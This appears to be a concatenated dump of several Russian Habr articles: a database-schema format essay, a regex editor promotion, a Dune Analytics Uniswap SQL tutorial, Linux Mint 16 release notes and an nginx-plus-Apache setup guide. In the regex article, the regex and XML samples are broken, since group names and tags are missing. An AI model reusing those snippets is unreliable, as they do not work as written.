Исследовать схему данных, созданную такими инструментами, ещё менее удобно, чем исследовать аналогичную схему данных, созданную при помощи SQL-файлов.
Декларативный подход в Magento 2
--------------------------------
В Magento 2 добавили ещё один слой абстрагирования при работе с данными — декларативную схему. Вместо того, чтобы описывать схему данных на PHP при помощи DBAL-инструментов платформы, разработчик описывает схему данных в [XML-формате](https://github.com/magento/magento2/blob/2.4-develop/app/code/Magento/Customer/etc/db_schema.xml), который платформа способна разобрать и превратить в последовательность PHP-инструкций по созданию/изменению схемы.
Каждый magento-плагин содержит файл `./etc/db_schema.xml`, в котором зафиксирована схема данных, используемая данным плагином. Платформа способна собрать все описания для всех плагинов приложения и скомпоновать из фрагментов единую схему данных и проверить её на непротиворечивость. Затем на основании загруженной схемы данных возможно изменение действующей схемы данных.
Минусы реализации:
* Magento 2 работает с СУБД MySQL/MariaDB и декларативная схема очень сильно привязана к этому типу БД;
* XML является форматом, очень удобным для программной обработки, но "*тяжёлым*" для человека;
* в единой схеме данных отсутствуют средства группировки таблиц, что существенно для баз данных с количеством таблиц в несколько сотен;
"Идеальный формат"
==================
Отталкиваясь от декларативного описания схемы данных Magento 2, я попробую сформулировать правила, которым должен соответствовать улучшенный формат описания (в рамках моего понимания WP-подхода).
Группировка таблиц
------------------
В базах на несколько сотен таблиц зачастую применяется подход, когда имена таблиц прописываются в формате [snake\_case](https://ru.wikipedia.org/wiki/Snake_case):
Расположение таблиц в группах ("*папках*") и вложение групп в другие группы делают навигацию по совокупности всех таблиц более удобным:
Независимость от ORM/DBAL
-------------------------
ORM/DBAL-инструменты дают приложению независимость от используемой СУБД. Я считаю, что "*идеальный формат*" должен давать независимость от ORM/DBAL-инструментов и быть ещё более абстрактным, фокусируясь на структуре данных. Технически возможно использование одной базы данных приложениями, написанными на разных ЯП и применяющих различный ORM/DBAL-инструментарий для работы с данными. Т.е., "*идеальный формат*" превращается в ещё один уровень абстрагирования способа описания структуры данных от способа создания:
Уменьшение вариативности
------------------------
Базы данных "*заточены*" на оптимизацию хранения данных и обладают [множеством типов](https://www.postgresql.org/docs/13/datatype.html) для описания данных. В то же самое время JSON, который зачастую используется для передачи выбранных данных между клиентом и сервером в web-приложениях, обладает всего [шестью типами](https://www.w3schools.com/js/js_json_datatypes.asp) данных. Если на уровне БД есть разница между `CHAR`, `VARCHAR`, `TEXT`, то на уровне приложения эта разница уже гораздо меньше, а для пользователя приложения они все и вовсе укладываются в один тип — `текст`.
Типы данных в "*идеальном формате*" должны быть ближе к пользователю, чем к БД.
База — для данных
-----------------
Я являюсь сторонником того, что база данных должна лишь хранить данные и давать к ним доступ. Бизнес-логика (триггеры и процедуры-функции) на стороне БД — зло. Для высокопроизводительных приложений это зачастую не так, но для приложений, которые собираются из плагинов, созданных сторонними разрабами, "размазанность" бизнес-логики по слою данных и кода затрудняет их построение. Таким образом, "*идеальный формат*" должен описывать лишь структуру данных — таблицы, индексы и отношения (foreign keys). Некоторые относят уникальные индексы и foreign keys к бизнес-логике, но я не придерживаюсь такой точки зрения.
JSON
----
"*Идеальный формат*" для описания схемы должен быть дружелюбен к программному анализу. На данный момент я знаю три таких формата: XML, JSON, YAML. Компромиссным вариантом между удобством использования формата программой и человеком я считаю JSON — XML слишком "*многословен*" и тяжёл для понимания человеком, а в YAML слишком легко допустить ошибку при редактировании больших файлов с использованием техники "*copy-paste*".
Резюме
======
"*Идеальный формат*" для описания схемы данных в RDBMS должен:
* использовать JSON (как вариант — со взаимным преобразованием в XML/YAML);
* фокусироваться на "*статике*" (структуре данных и взаимоотношениях между ними) и игнорировать "*динамику*" (бизнес-логику);
* абстрагироваться не только от типа СУБД, но и от используемого ORM/DBAL;
Потенциальные бонусы от использования "*идеального формата*":
* упрощение программного анализа схемы данных (по отношению к SQL) — выстраивание последовательности удаления/создания таблиц, анализ целостности и непротиворечивости, сравнение различных схем данных (или различных версий одной схемы);
* упрощение распределённой разработки приложения за счёт формирования единой схемы данных из отдельных фрагментов (с возможной взаимозаменяемостью в приложении плагинов, близких по функционалу);
* облегчение восприятия схемы данных разработчиками за счёт дополнительного абстрагирования от ORM/DBAL (уменьшения детализации);
Я пока ещё не встретился с "*идеальным форматом*", но, возможно, я просто плохо его искал. Коллеги имеют возможность ткнуть в него пальцем в комментариях. Буду благодарен.
Ссылки
======
* [Magento 2 Declarative Schema](https://devdocs.magento.com/guides/v2.4/extension-dev-guide/declarative-schema/)
* [JSON Schema -> Database](https://better.engineering/jsonschema2db/) | https://habr.com/ru/post/575254/ | null | ru | null |
# Сверхэффективная обработка текста
Не важно, пишете ли вы книгу, верстаете веб-страницу или редактируете исходные коды программ, порой возникает целый ряд разнообразных рутинных задач, которые отнимают много времени, но обязательны к выполнению.
В этой статье я хочу продемонстрировать несколько сценариев, которые здорово могут выручить вас в подобных ситуациях. Примеры буду брать не самые сложные, но показательные, на основе которых можно построить что-то более хитрое.
Думаю, многим знакомы ситуации, когда нужно поменять формат дат в большом тексте, нормализовать отступы и пробелы в документе, подсчитать встречаемость слова в текстовом фрагменте; преобразовать xml-документ или ответ сервера в класс для десериализации, сконвертировать участок кода одного языка программирования в другой… Каждый поступает в подобных случаях по-разному: ищет соответствующие утилиты, пишет свои, а кто-то действует в лоб!
Самые отважные начинают осваивать регулярные выражения… А ещё более смелые пробуют подстановки. Да, порог вхождения у этих инструментов очень высокий, но эффективность при грамотном применении бьёт все рекорды!
Одним из факторов, тормозящих изучение языка регулярных выражений, я считаю некоторую недоработанность существующих в данной области программ и сред разработки.
Поэтому однажды я решил создать свой текстовый редактор с реджексами и подстановками.
Называется он [Poet](http://1drv.ms/1m4SAUz) (сайт: [poet.of.by](http://poet.of.by)), и именно с помощью него мы будем сегодня творить маленькие чудеса!
**Подсчёт совпадений**
Как только пользователь начинает вводить образец для поиска, тотчас программа подсвечивает найденные совпадения и подсчитывает их. Более того по результатам можно перемещаться с помощью скролл-бара! Попробуйте, иногда это очень удобно! Такая функция мне не встречалось в других программах.
**Многострочный поиск с учётом специальных символов**
Редактор без труда позволяет искать многострочные совпадения, причём в строке поиска всегда ясно видно специальные, пробельные и символы перевода строки, поэтому вам не придётся каким-то образом отличать табы от пробелов и считать их количество вручную.
**Преобразование дат**
Включим использование регулярных выражений и подстановок.
Если, к примеру, мы хотим привести в документе даты формата 01.08.14 к виду 1 августа 2014, то нам потребуется небольшое регулярное выражение и простая подстановка:
``0*(?\d{1,2}).08.(?\d{1,2})
${Day} августа 20${Year}`
**Смена форматов**
Как-то раз у меня возникла необходимость создавать C# классы по xml-ответу сервера.
```
xml version="1.0" encoding="UTF-8"?
РУБЛИ
BYR - Белорусский рубль
BYR
2 - Продлен
250,000.00
88,505,000.00
4,579,405.00
4,579,405.00
22.03.2013
36.000000
18.03.2013
22.04.2013
2,650,603.00
1170646001265
22.11.2012
22.03.2013
22.04.2013
```
Это также делается довольно просто:
``<(?\w+)>.+
[XmlElement("${TagName}")]
public string ${TagName} { get; set; }`
Сейчас моя основная задача - привлечь ваше внимание к применению регулярных выражений и подстановок а также дать почувствовать их мощь. Надеюсь, вас зацепила эта тема!
P.S. [Элементы языка регулярных выражений](http://msdn.microsoft.com/ru-ru/library/az24scfc(v=vs.110).aspx), [подстановки в регулярных выражениях](http://msdn.microsoft.com/ru-ru/library/ewy2t5e0(v=vs.110).aspx).`` | https://habr.com/ru/post/231929/ | null | ru | null |
# Блокчейн аналитика в Dune Analytics на примере Uniswap
Есть такая платформа блокчейн‑аналитики [Dune](https://dune.com/), с помощью которой можно дергать различные данные из блокчейна. В декабре 2022го в коллаборации с Uniswap они запустили курс [12DaysOfDune](https://www.notion.so/12-Days-of-Dune-2022-2c30c5a875ce4650b19c1ef7dd60a11d#9143f34fcf794843943eb32cb82612b5), в котором я поучаствовал. Хочу поделиться с вами заданиями первой недели курса, и вариантами решений.
В результате вы узнаете, что представляет собой Dune, научитесь делать аналитику самостоятельно на примере протокола децентрализованного обмена [Uniswap](https://uniswap.org). Это протокол децентрализованного обмена и крупнейший сервис для обмена криптовалюты (децентрализованная биржа) с суточным объемом [1,27 млрд. долл](https://info.uniswap.org/#/) (на 2.2.2023). Может быть, кто‑то заинтересуется заданиями второй недели, связанными с ликвидностью.
Dune — по сути, это набор таблиц с данными из блокчейна (поддерживаются Ethereum‑сети и недавно добавили [BTC](https://twitter.com/duneanalytics/status/1613948759800516616?s=46&t=ETQKUpwyI4nAHXv8MAeFMg)), к которым можно делать запросы на SQL, извлекать данные и строить графики, есть редактор дэшбордов. Таблицы бывают:
1. Raw (сырые данные) — транзакции, события, трейсы (traces) — самый нижний уровень данных блокчейна.
2. Decoded (декодированные) — созданные на основе сырых данных для более понятного представления, например uniswap\_v3\_ethereum.Pair\_evt\_Swap — таблица с событиями Swap пар Uniswap (то есть можно понять, когда был сделан обмен).
3. Spellbooks — еще более высокоуровневые таблицы, которые заполняются периодически запускаемыми процессами. Например, это dex.prices, куда высчитываются и помещаются данные по ценам токенам на биржах.
4. Community (сделанные сообществом) — таблицы от других провайдеров.
5. User‑generated (пользовательские) — в принципе, любые открытые запросы (queries), созданные на платформе, которые можно использовать в своих запросах.
Квалификация
------------
Чтобы писать запросы в Dune, нужно знать SQL, а также принципы работы EVM и Solidity, а данном случае еще и в Uniswap. Например, нужно понимать, что такое пул Uniswap, а также что есть смарт‑контракт Factory, который эмиттит событие PoolCreated, и какие в событии передаются параметры. Если такого понимания пока нет, то рекомендую почитать [1](https://docs.uniswap.org), [2](https://uniswapv3book.com), [3](https://techgeorgii.com/uniswap-v3-sdk-tutorial/), [4](https://www.notion.so/12-Days-of-Dune-2022-2c30c5a875ce4650b19c1ef7dd60a11d#9143f34fcf794843943eb32cb82612b5). Хорошая новость в том, что если у вас есть опыт программирования, то разобраться будет не так сложно.
Задания
-------
Результатом выполнения каждого задания является SQL‑запрос с данными. Фокус курса был на Uniswap V2, но я где только можно старался использовать V3 — более новую, но и более сложную версию. В [V2](https://v2.info.uniswap.org/home) используется концепция пар обмена (pair) c фиксированной комиссией 0.3% (например, [пара WETH/USDC](https://etherscan.io/address/0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc)). В V3 используется концепция пулов с разными комиссиями и ликвидностью в кастомных диапазонах. Во всех заданиях (кроме 3го) использую пул [USDC/WETH](https://etherscan.io/address/0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640) с комиссией 0.05%.
Для каждого задания дам условие и идею решения в текстовом виде. Авторы дают видео для каждого решения, но иногда проще прочитать. Поэтому, надеюсь, статья будет полезна, даже если вы владеете английским. Также, не везде, по моему мнению, было четко сформулировано задание, что я тоже постарался исправить. Всего рассмотрим 5 заданий. Шестое расписывать не стал, т.к. с концептуальной точки зрения это компиляция данных из запросов предыдущих дней.
**День 1** — Посчитайте количество пар, содержащих токены USDC и/или WETH (начинающий).
Идея решения1. Получить адреса токенов USDC и WETH через etherscan.
2. Использовать таблицу uniswap\_v2\_ethereum.Factory\_evt\_PairCreated или uniswap\_v3\_ethereum.Factory\_evt\_PoolCreated (таблица вызовов событий, событие вызывается при создании пары/пула). В таблице есть колонки token0, token1, сравнить их с адресами из п.1.
3. Посчитать кол‑во созданных пар/пулов.
Обратите внимание, в V3 пара заменилась на пул, и пулов USDC/WETH м.б. несколько (различаются комиссии), поэтому DISTINCT.
Мое решение для [V2](https://dune.com/queries/1877227) и [V3](https://dune.com/queries/1885028).
**День 2** — Постройте понедельный график количества обменов в [V3 пуле USDC/WETH](https://etherscan.io/address/0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640) и их объем в долларах, разбивка по дням или неделям (начинающий).
Идея решения1. Найти адрес пула (можно в гугле или на info.uniswap.org)
2. Смотрим таблицу uniswap\_v3\_ethereum.Pair\_evt\_Swap, куда записаны все успешные обмены (события Swap контракта Pair). *Странно, что таблица называется Pair, хотя контракт называется Pool*.
3. Смотрим таблицу uniswap\_v3\_ethereum.Factory\_evt\_PoolCreated — получить адреса токенов в пуле.
4. Смотрим таблицу prices.usd, куда записаны поминутные цены в долларах всех токенов, для чего нужно отбросить секунды функцией *date\_trunc*.
5. Немного математики — посчитать цену в долларах. Мы берем |amount0|, т.к. это кол‑во token0, добавленного или «вытащенного» из пула, и умножаем на стоимость token0 в долларах на минуту обмена.
6. Группировка по дням (или неделям).
[Мое решение](https://dune.com/queries/1891958), [авторское](https://dune.com/queries/1746999). В результате получился вот такой красивый график.
Данные начинаются с 1 мая 2021, т.к. в начале мая был задеплоен первый Uniswap V3 SwapRouter.
**День 3** — выведите список направлений обмена (TOK\_A → TOK\_B) и количество раз, когда в них была использована [V2 пара WETH/USDC](https://etherscan.io/address/0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc). Вывести первые 100 по количеству. Используйте [UniswapV2Router02](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02) (средний уровень).
Обмен может происходить через промежуточную пару. Например, обмен TOK\_A → WETH → USDC → TOK\_B использует 3 пары, где WETH/USDC — промежуточная. В результате должен появиться вот такая таблица:
Следует читать: при обмене WETH на HEX пара WETH/USDC была использована 28671 разИдея решения1. Чтобы выполнить обмен токенов, вызывается одна из 9 функций роутера (swapExactTokensForTokens, swapTokensForExactTokens, ...) – полный список в решении.
2. В каждую из этих функций передается параметр path – массив адресов токенов, через которые пойдет обмен (пример выше).
3. Запрашиваем таблицы uniswap\_v2\_ethereum.Router02\_call\_swapExactTokensForTokens, uniswap\_v2\_ethereum.Router02\_call\_swapTokensForExactTokens, ... где в path есть токены USDC,WETH, идущие друг за другом.
4. Группируем по начальному/конечному токену в path, подсчитываем количество.
5. Запрашиваем таблицу tokens.erc20, чтобы вывести символы токенов.
[Мое](https://dune.com/queries/1893020), [авторское](https://dune.com/queries/1747778) решения. В процессе нашел [баг](https://twitter.com/techgeorgii/status/1614875733180190720) в авторском решении.
**День 4** — для [V3 пула WETH/USDC](https://etherscan.io/address/0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640#code) определить объем в долларах и количество обменов, сделанных ботами (MEV) и обычными пользователями, вывести по дням (средний).
В результате должна получиться примерно такая картинка:
Идея решенияРешить задачу можно разными способами; анализируя паттерны, например. Но в данном случае мы разберем простое решение через размеченные данные.
1. Ищем, кто является выгодоприобретателем обмена через цепочку таблиц uniswap\_v3\_ethereum.Pair\_evt\_Swap — ethereum.transactions
2. Запрашиваем таблицу labels.mev\_ethereum, где есть уже размеченные данные от Dune (или etherscan?), какие аккаунты являются MEV‑ботами. Если запись не нашли — то считаем, что это не бот.
3. Чтобы получить цену, используем цепочку uniswap\_v3\_ethereum.Pair\_evt\_Swap — uniswap\_v3\_ethereum.Factory\_evt\_PoolCreated — prices.usd
4. Делаем серию группировок по дням (или неделям). Можно отфильтровать по дате, чтобы запрос был быстрее.
Реальный объем MEV трафика, конечно, больше.
[Мое](https://dune.com/queries/1896693), [авторское](https://dune.com/queries/1759216) решения.
**День 5** — Для [V3 пула WETH/USDC](https://etherscan.io/address/0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640#code) определить объем в долларах и количество обменов, группированных по тому, кто вызвал обмен — кошелёк (EOA — externally owned account) или смарт‑контракт, вывести по неделям или дням (продвинутый).
Идея решенияСпособ подсчета объема в долл и количества обменов есть в **Дне 2**.
Чтобы понять, кто инициировал обмен (EOA или смарт‑контракт) требуется
1. Найти вызов [UniswapV3Pool.swap()](https://docs.uniswap.org/contracts/v3/reference/core/UniswapV3Pool#swap) в ethereum.traces
2. Найти, кто вызвал эту функцию (как правило, это другой смарт‑контракт, такой как роутер).
3. Найти, его вызвал этот смарт‑контракт (EOA или смарт‑контракт) — это и будет группировкой.
Решение:
1. Смотрим сделанные обмены в uniswap\_v3\_ethereum.Pair\_call\_swap
2. Запрашиваем ethereum.traces (команды, из которых состоит транзакция). Для этого ищем по tx\_hash и по [trace\_address](https://openethereum.github.io/JSONRPC-trace-module) команду, в которой был сделан swap (используем uniswap\_v3\_ethereum.Pair\_call\_swap). В результате на шаге 2 мы нашли в ethereum.traces строчку вызова метода [UniswapV3Pool.swap()](https://docs.uniswap.org/contracts/v3/reference/core/UniswapV3Pool#swap) — назовем ее tr\_swap.
3. У каждой команды есть поля from (кто вызвал) и to (кого вызвали). Для найденной на предыдущем шаге команды ищем вызвавшую ее команду, назовем ее tr\_swap\_caller. Используем поля from, to, trace\_address (tr\_swap\_caller.trace\_address будет по длине меньше или равно tr\_swap.trace\_address). В результате шага 3 поле tr\_swap\_caller.from содержит искомый источник вызова.
4. Запрашиваем таблицу ethereum.creation\_traces для tr\_swap\_caller.from, и если такая запись там будет, значит, это смарт‑контракт, иначе, это EOA (кошелек).
5. Далее запрашиваем prices.usd для цен в долларах.
6. Бонусом можно подключить таблицу labels.contracts, где находятся имена смарт‑контрактов, по полю address = tr\_swap\_caller.from. Отсюда можно понять, относится ли контракт к Uniswap, Paraswap, Oneinch и тд (колонка source таблицы labels.contracts)
[Мое](https://dune.com/queries/1905194), [авторское решение](https://dune.com/queries/1762941). Видно, что большинство обменов сделаны кошельками (EOA) (за 2023 год):
В авторском решении нашел [баг](https://discord.com/channels/757637422384283659/1050065824934805614/1072751935435845652) — занижалось количество обменов. Также, похоже, нашел [баг в данных](https://discord.com/channels/757637422384283659/757893948428517376/1072053824832929803) при попытке сверить количество обменов в день с заданием 2. Потратил много времени на этот запрос, потому что эти два бага наложились друг на друга.
Очень важная рекомендация — всегда проверять результаты своего запроса тестовым запросом. В данном случае [метод swap()](https://docs.uniswap.org/contracts/v3/reference/core/UniswapV3Pool#swap) вызывает [событие Swap()](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolEvents#swap) во всех успешных вызовах, и количество записей в `uniswap_v3_ethereum.Pair_call_swap` `uniswap_v3_ethereum.Pair_evt_Swap` должно быть одинаково, но [как будто это не так](https://discord.com/channels/757637422384283659/1050065824934805614/1072751935435845652).
Подсказки для оптимизации
-------------------------
Dune представляет собой OLAP базу данных, поэтому нужно понимать специфику, можно почитать [здесь](https://dune.com/docs/reference/dune-v2/database/). Несколько практических моментов:
1. Поиск по хэшам (например, tx\_hash) медленный, по возможности нужно включать в условие block\_number или block\_time (связано с хранением данных в формате [паркет](https://towardsdatascience.com/demystifying-the-parquet-file-format-13adb0206705), когда в row groups хранится минимальное/максимальное значение block\_number, поэтому происходит быстрое отсечение ненужных).
2. В случае поиска на монотонном интервале, лучше отсекать ненужные данные условием «больше/меньше» (например, `block_time >= DATE '2023-01-01'` в случае, если вам нужны данные только за 2023 год), что опять же связано с особенностью хранения в паркетном формате.
Выводы
------
Итак, мы научились получать статистику по Uniswap в Dune Analytics. Если есть желание, можно продолжить изучение дальше, разобрать день 6 и задания со второй недели, связанные с ликвидностью.
Вообще, в целом Dune Analytics показала себя интересной платформой. С другой стороны, часто отваливались запросы — выполняющийся 30 секунд на следующий день мог выполняться 10 минут. Поэтому, если вам нужно написать запрос, смело умножайте оценочное время на пять, на всякий случай. Также возможны [ошибки в данных](https://discord.com/channels/757637422384283659/1072053824832929803/1072081011984322570), ресерч по которым может занимать довольно много времени. Связываю это с происходящей в текущей момент миграцией на третью версию движка (Dune SQL), платформа должна стабилизироваться. Хочу пожелать удачи ребятам в этом деле!
P. S. Минутка саморекламы — веду тг‑канал [Web3 разработчик](https://t.me/web3dev_notes). Пишу небольшие заметки о задачах по блокчейну/крипте, которые решаю. Буду рад видеть среди подписчиков! | https://habr.com/ru/post/715600/ | null | ru | null |
# Linux Mint 16 «Petra»
Спустя полтора месяца после [выхода](http://habrahabr.ru/post/198020/) Ubuntu 13.10, состоялся релиз новой версии дистрибутива Linux Mint с кодовым именем Petra.
Вот [уже 2 года](http://habrahabr.ru/post/132026/) этот дистрибутив занимает первую строчку в рейтинге популярности дистрибутивов по версии distrowatch.com, и не зря, ведь дистрибутив ориентирован на удобное использование в качестве десктопной станции, по сути является альтернативой Ubuntu.
Дистрибутив поставляется в четырех редакциях с разными рабочими окружениями: MATE, Cinnamon, Xfce и KDE. Как правило, релиз с последними двумя окружениями рабочего стола осуществляется спустя 1.5 — 2 месяца.
###### Основные изменения в ядре и ПО:
* kernel 3.11
* Cinnamon 2.0
* MDM 1.4
* Firefox 24
* Thunderbird 24
* gcc 4.8
###### Cinnamon
Разработка Cinnamon 2.0 длилась 5 месяцев, было внесено 856 коммитов от 28 разработчиков. Было исправлено множество ошибок, а также добавлены новые функции и улучшения.
- Воспроизведение звуков при выполнении общих действий, таких как закрытие/сворачивание окон, переключение рабочих столов и т. д.
Эти звуки гибко настраиваются, их можно отключить глобально или индивидуально, уровень громкости не зависит от громкости системного звука.
- Улучшенное управление пользователями
Добавлен новый апплет для удобства управления пользователем: выход из сессии пользователя, переключение пользователей, доступ к параметрам и т. д.
- Удобное тайлинговое расположение окон
Может осуществляться перетаскиванием окна к краю экрана или нажатием кнопок Super\_L и клавишей со стрелками.
- Улучшена поддержка MIME в Nemo
- Системный трей поддерживает отображение статуса копирования/перемещения файлов
- Nemo стал красивее и быстрее, что не может не радовать
Полный список изменений в Cinnamon 2.0 [тут](http://segfault.linuxmint.com/2013/10/cinnamon-2-0-released/).
###### MDM
- Увеличено быстродействие, удалено 24500 строк кода
- Изменения в дизайне, добавлены новые темы, анимированные фоновые рисунки и т. д.
— Добавлена утилита USB Stick для удобного управления flash-накопителями в системе
###### Улучшения производительности
- Менеджер обновлений стал быстрее
- В Cinnamon ускорена работа полноэкранных приложений, было замечено увеличение FPS в три раза, при запуске glxgears без Vsync
- Улучшение работы Менеджера программ, увеличение производительности, также усовершенствован интерфейс, теперь для приложения доступно несколько скриншотов, для более удобного поиска
###### Системные улучшения
- Безопасные обновления ядра
- Улучшена поддержка EFI
- Быстрый вход в систему
- Улучшена поддержка iOS устройств
- Улучшение цветов в терминале и...**Спойлер**добавление алиаса
```
ll='ls -la'
```
по умолчанию
###### Изменения в дизайне
- Добавлены красивые градиентные фоны рабочего стола
- Улучшена поддержка GTK3
- Новые темы и иконки и т.д.
###### Ссылки для скачивания:
**MATE:**
i386: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-mate-dvd-32bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-mate-dvd-32bit.iso)
x64: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-mate-dvd-64bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-mate-dvd-64bit.iso)
**MATE No codecs:**
i386: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-mate-dvd-nocodecs-32bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-mate-dvd-nocodecs-32bit.iso)
x64: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-mate-dvd-nocodecs-64bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-mate-dvd-nocodecs-64bit.iso)
**Cinnamon:**
i386: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-cinnamon-dvd-32bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-cinnamon-dvd-32bit.iso)
x64: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-cinnamon-dvd-64bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-cinnamon-dvd-64bit.iso)
**Cinnamon No codecs:**
i386: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-cinnamon-dvd-nocodecs-32bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-cinnamon-dvd-nocodecs-32bit.iso)
x64: [torrent](http://torrents.linuxmint.com/torrents/linuxmint-16-cinnamon-dvd-nocodecs-64bit.iso.torrent) | [iso](http://mirror.yandex.ru/linuxmint/stable/16/linuxmint-16-cinnamon-dvd-nocodecs-64bit.iso)
**Обновление с RC на Stable:** [→](http://segfault.linuxmint.com/2013/11/mint-16-how-to-upgrade-from-rc-to-stable-matecinnamon-editions/)
UPD: 22.12.13
Релиз Linux Mint 16 [KDE](http://blog.linuxmint.com/?p=2530) и [Xfce](http://blog.linuxmint.com/?p=2534). | https://habr.com/ru/post/202380/ | null | ru | null |
# apache+nginx+gzip_static+yuicompressor
В этой статье я опишу принципиальные различия Apache и Nginx, архитектуру фронтэнд-бэкэнд, установку Apache в качестве бэкэнда и Nginx в качестве фронтэнда. А также опишу технологию, позволяющую ускорить работу веб-сервера: gzip\_static+yuicompressor.
### Nginx
**Nginx** – сервер легкий; он запускает указанное число процессов (обычно число процессов = числу ядер), и каждый процесс в цикле принимает новые соединения, обрабатывает текущие. Такая модель позволяет с низкими затратами ресурсов обслуживать большое количество клиентов. Однако, при такой модели, нельзя выполнять длительные операции при обработке запроса (например mod\_php), т.к. это по сути повесит сервер. При каждом цикле внутри процесса по сути выполняются две операции: считать блок данных *откуда-то*, записать *куда-то*. *Откуда-то* и *куда-то –* это соединение с клиентом, соединение с другим веб-сервером или FastCGI-процессом, файловая система, буфер в памяти. Модель работы настраивается двумя основными параметрами:
* `worker_processes` – число запускаемых процессов. Обычно устанавливают равным числу ядер процессора.
* `worker_connections` – максимальное число соединений, обрабатываемых одним процессом. Напрямую зависит от максимального числа открытых файловых дескрипторов в системе (1024 по умолчанию в Linux).
### Apache
**Apache** – сервер тяжелый (следует заметить, что при желании его можно достаточно облегчить, однако это не изменит его архитектуры); он имеет две основных модели работы – *prefork* и *worker*.
При использовании модели **prefork** Apache создает новый процесс для обработки каждого запроса, и этот процесс выполняет всю работу: принимает запрос, генерирует контент, отдает пользователю. Настраивается эта модель следующими параметрами:
* `StartServers` – задает число запускаемых процессов при старте веб-сервера.
* `MinSpareServers` – минимальное число висящих без дела процессов. Нужно это для того, чтобы при поступлении запроса быстрее начать его обрабатывать. Веб-сервер будет запускать дополнительные процессы, чтобы их было указанное количество.
* `MaxSpareServers` – максимальное число висящих без дела процессов. Это нужно, чтобы не занимать лишнюю память. Веб-сервер будет убивать лишние процессы.
* `MaxClients` – максимальное число параллельно обслуживаемых клиентов. Веб-сервер не запустит более указанного количества процессов.
* `MaxRequestsPerChild` – максимальное число запросов, которые обработает процесс, после чего веб-сервер убьет его. Опять же, для экономии памяти, т.к. память в процессах будет постепенно «утекать».
Эта модель была единственной, которую поддерживал Apache 1.3. Она стабильная, не требует от системы многопоточности, но потребляет много ресурсов и немного проигрывает по скорости модели worker.
При использовании модели **worker** Apache создает несколько процессов, по несколько потоков в каждом. При этом каждый запрос полностью обрабатывается в отдельном потоке. Чуть менее стабильна, чем prefork, т.к. крах потока может привести к краху всего процесса, но работает немного быстрее, потребляя меньше ресурсов. Настраивается эта модель следующими параметрами:
* `StartServers` – задает число запускаемых процессов при старте веб-сервера.
* `MinSpareThreads` – минимальное число потоков, висящих без дела, в каждом процессе.
* `MaxSpareThreads` – максимальное число потоков, висящих без дела, в каждом процессе.
* `ThreadsPerChild` – задает число потоков, запускаемых каждым процессом при старте процесса.
* `MaxClients` – максимальное число параллельно обслуживаемых клиентов. В данном случае задает общее число потоков во всех процессах.
* `MaxRequestsPerChild` – максимальное число запросов, которые обработает процесс, после чего веб-сервер убьет его.
### Фронтэнд-бэкэнд
Основная проблема Apache – на каждый запрос выделен отдельный процесс (как минимум – поток), который к тому же увешан различными модулями и потребляет немало ресурсов. Вдобавок, этот процесс будет висеть в памяти до тех пор, пока не отдаст весь контент клиенту. Если у клиента узкий канал, а контент достаточно объемный, то это может занять длительное время. Например, сервер сгенерирует контент за 0,1 сек, а отдавать клиенту его будет 10 сек, все это время занимая системные ресурсы.
Для решения этой проблемы используется **архитектура фронтэнд-бэкэнд**. Суть ее в том, что запрос клиента приходит на легкий сервер, с архитектурой типа Nginx (*фронтэнд*), который перенаправляет (проксирует) запрос на тяжелый сервер (*бэкэнд*). Бэкэнд формирует контент, очень быстро его отдает фронтэнду и освобождает системные ресурсы. Фронтэнд кладет результат работы бэкэнда в свой буфер и может долго и упорно отдавать его (результат) клиенту, потребляя при этом намного меньше ресурсов, чем бэкэнд. Дополнительно фронтэнд может самостоятельно обрабатывать запросы статических файлов (css, js, картинки и т.д.), управлять доступом, проверять авторизацию и т.д.
### Настройка связки Nginx (фронтэнд) + Apache (бэкэнд)
Предполагается, что Nginx и Apache у вас уже установлены. Необходимо настроить сервера так, чтобы они слушали разные порты. При этом, если оба сервера установлены на одной машине, бэкэнд лучше вешать только на loopback-интерфейс (127.0.0.1). В Nginx это настраивается директивой listen:
```
listen 80;
```
В Apache это настраивается директивой Listen:
```
Listen 127.0.0.1:81
```
Далее нужно указать Nginx проксировать запросы на бэкэнд. Это делается директивой `proxy_pass 127.0.0.1:81;`. Это вся минимальная конфигурация. Однако выше мы говорили, что отдачу статических файлов лучше тоже поручить Nginx. Допустим, что у нас типичный сайт на PHP. Тогда нам нужно проксировать на Apache только запросы к .php файлам, обрабатывая все остальное на Nginx (если ваш сайт использует mod\_rewrite, то реврайты тоже можно [делать на Nginx](http://sysoev.ru/nginx/docs/http/ngx_http_rewrite_module.html), а .htaccess файлы просто выкинуть). Также необходимо учесть, что запрос клиента приходит на Nginx, а запрос к Apache делает уже Nginx, поэтому HTTP-заголовка Host не будет, а адрес клиента (REMOTE\_ADDR) Apache определит как 127.0.0.1. Заголовок Host подставить несложно, а вот REMOTE\_ADDR Apache определяет сам. Решается эта проблема при помощи [mod\_rpaf](http://stderr.net/apache/rpaf/) для Apache. Работает он следующим образом: Nginx знает IP клиента и добавляет некий HTTP-заголовок (например X-Real-IP), в который прописывает этот IP. mod\_rpaf получает этот заголовок и прописывает его содержимое в переменную REMOTE\_ADDR Apache. Таким образом, php-скрипты, выполняемые Apache будут видеть реальный IP клиента.
